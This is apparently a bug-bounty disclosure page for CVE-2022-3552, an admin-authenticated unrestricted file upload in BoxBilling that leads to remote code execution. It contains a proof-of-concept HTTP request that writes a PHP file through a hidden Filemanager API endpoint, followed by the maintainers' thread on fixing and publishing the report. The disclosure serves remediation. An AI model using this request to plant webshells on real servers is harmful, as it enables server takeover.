BoxBilling <=4.22.1.5 - Authenticated Unrestricted File Upload - RCE in boxbilling/boxbilling

7

Valid Reported on Sep 18th 2022

Description

BoxBilling was vulnerable to Unrestricted File Upload. In order to exploit the vulnerability, an attacker must have a valid authenticated session as admin on the CMS. With at least 1 order of product an attacker can upload malicious file to hidden API endpoint that contain a webshell and get RCE.

Proof of Concept

```
POST /index.php?_url=/api/admin/Filemanager/save_file HTTP/1.1
Host: local.com:8089
Content-Length: 52
Accept: application/json, text/javascript, */*; q=0.01
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=3nrf9i4mv28o5anva77ltq042d
Connection: close

order_id=1&path=ax.php&data=<%3fphp+phpinfo()%3b%3f>
```

Video POC :

https://drive.google.com/file/d/1m2glCeJ9QXc8epuY2QfvbWwjLTJ8_Hjx/view?usp=sharing

Impact

An attacker can compromise the server by uploading the malicious file, and the vulnerability can be chained with other vulnerability (XSS,CSRF).

References

- Unrestricted File Upload
- CWE-434: Unrestricted Upload of File with Dangerous Type

CVE
CVE-2022-3552
(Published)

Vulnerability Type
CWE-434: Unrestricted Upload of File with Dangerous Type

Severity
High (7.2)

Registry
Other

Affected Version
<= v4.22.1.5

Visibility
Public

Status
Fixed

Found by

zetc0de
@zetc0de
legend

This report was seen 1,020 times.

We are processing your report and will contact the **boxbilling** team within 24 hours.
2 months ago

We have contacted a member of the **boxbilling** team and are waiting to he

We have sent a follow up to the **boxbilling** team. We will try again in 7 days. 2 months ago

Timothy Webb Sr 2 months ago Maintainer

Great work @zetc0de 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

We have sent a second follow up to the **boxbilling** team. We will try again in 10 days.
2 months ago

Timothy Webb Sr 2 months ago Maintainer

Great work @zetc0de 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

We have sent a third and final follow up to the **boxbilling** team. This report is now considered stale. 2 months ago

Timothy Webb Sr validated this vulnerability 2 months ago

zetc0de has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Timothy Webb Sr 2 months ago Maintainer

Great work @zetc0de 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

We have sent a fix follow up to the **boxbilling** team. We will try again in 7 days. a month ago

Timothy Webb Sr a month ago Maintainer

Great work @zetc0de 👌 Could you kindly propose/submit a fix for this vulnerability? Any help is appreciated.

Yağızhan a month ago

Timothy, we've already dealt with this and removed the problematic module entirely in 2021. It

Timothy, we've already dealt with this and removed the problematic module entirely in 2021. It was resolved when you didn't care about the project.

https://github.com/boxbilling/boxbilling/pull/932

Have a nice day.

zetc0de a month ago Researcher

Sorry for my late of receive comment update, since the comments section not notifying with email.
Sounds good for community work to make boxbilling more secure. The root cause of vulnerability was described, based on vulnerability description the team can mitigate the risk by reducing attack vector for successful exploit.

Have a good day!

Timothy Webb Sr marked this as fixed in 0.0.1 with commit b67059 a month ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

zetc0de a month ago Researcher

@admin can disclose this report? Also can to assign cve for this vulnerability?

Timothy Webb Sr a month ago Maintainer

Yağızhan(evrifaessa) At your convenience please publish this report per request of zetc0de who commented 4 hours ago and is the researcher of this disclosure.

@admin can disclose this report? Also can to assign cve for this vulnerability?

Thanks and have a nice day.

Yağızhan a month ago Maintainer

You're the current maintainer.

Timothy Webb Sr published this vulnerability a month ago

Ben Harvie a month ago Admin

This report has now been assigned a CVE and it should publish momentarily as requested :)

Sign in to join this conversation